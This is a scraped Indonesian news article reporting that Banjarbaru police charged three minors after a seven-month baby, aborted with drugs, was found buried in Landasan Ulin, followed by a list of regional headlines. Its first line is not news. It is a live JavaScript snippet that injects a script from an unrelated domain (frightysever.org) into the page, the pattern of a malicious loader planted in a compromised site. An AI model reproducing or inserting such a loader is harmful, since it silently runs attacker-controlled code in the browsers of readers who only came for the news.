(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Bayi Dikubur di Landasan Ulin, Hasil Hubungan Gelap Pasangan Dibawah Umur


BANJARBARU, Polres Banjarbaru akhirnya berhasil mengungkap sosok pembuang bayi tidak berdosa yang terjadi di jalan Peramuan, Awang Baruh RT 11 RW 003 Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota Banjarbaru.

Wakapolres Banjarbaru, Kompol Andik Eko Siswanto, saat memimpin pers rilis, pada Kamis (1/8) siang, mengatakan pelaku berjumlah 3 orang dimana dua diantaranya merupakan pasangan yang dimabuk asmara.

“Kita sudah lakukan pemeriksaan terhadap 3 orang tersangka masih di bawah umur. Sebut saja pasangan ini Bunga dan Kumbang. Bayi ini hasil dari hubungan mereka dan keduanya menggugurkan kandungannya secara sengaja atau aborsi,” kata Kompol Andik.

Sedangkan dijelaskan juga satu tersangka lainnya berperan membantu mengantarkan ke tempat penguburan bayi malang tersebut.

Sebelumnya, Kapolsek Banjarbaru Barat, Kompol Syaiful Bob mengatakan awalnya petugas menerima informasi dari masyarakat ada ditemukannya seorang bayi berjenis kelamin laki- laki yang sudah dalam keadaan meninggal dunia, pada Sabtu (27/7) sekitar pukul 16.30 Wita.

Baca Juga : Bayi Laki-laki Ditemukan Tak Bernyawa, Dua Pria Dicurigai

Memang saat itu dari keterangan saksi, pihak kepolisian menerima informasi adanya 2 orang tidak dikenal berada di TKP saat itu.

“Dari pengakuan saksi bernama Ayan (61), sekitar pukul 12.00 Wita, saat dia bertani di sekitar TKP melihat ada 2 orang laki-laki menggunakan dua buah sepeda motor sedang berdiri di sekitar TKP. Tidak beberapa lama kemudian 2 orang itu langsung pergi meninggalkan tempat tersebut,” kata Kapolsek.

Dari hasil pemeriksaan pihak Kepolisian, ungkap Wakapolres Banjarbaru, diketahui kedua tersangka Bunga dan Kumbang masih bersekolah dijenjang SMA dan bertempat tinggal di Banjarbaru.

“Mereka sudah berhubungan sebanyak 4 kali. Karena hamil, mereka takut dan melakukan aborsi dengan meminum obat-obatan. Bayi laki-laki tersebut meninggal dunia di usia 7 bulan saat keluar dari perut,” lanjutnya.

Atas tindakan 3 tersangka yang masih dibawah umur ini, Pihak Kepolisian menyangkakan pasal Pasal 77 huruf A tentang perlindugan anak dengan ancaman 10 tahun penjara. (Rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.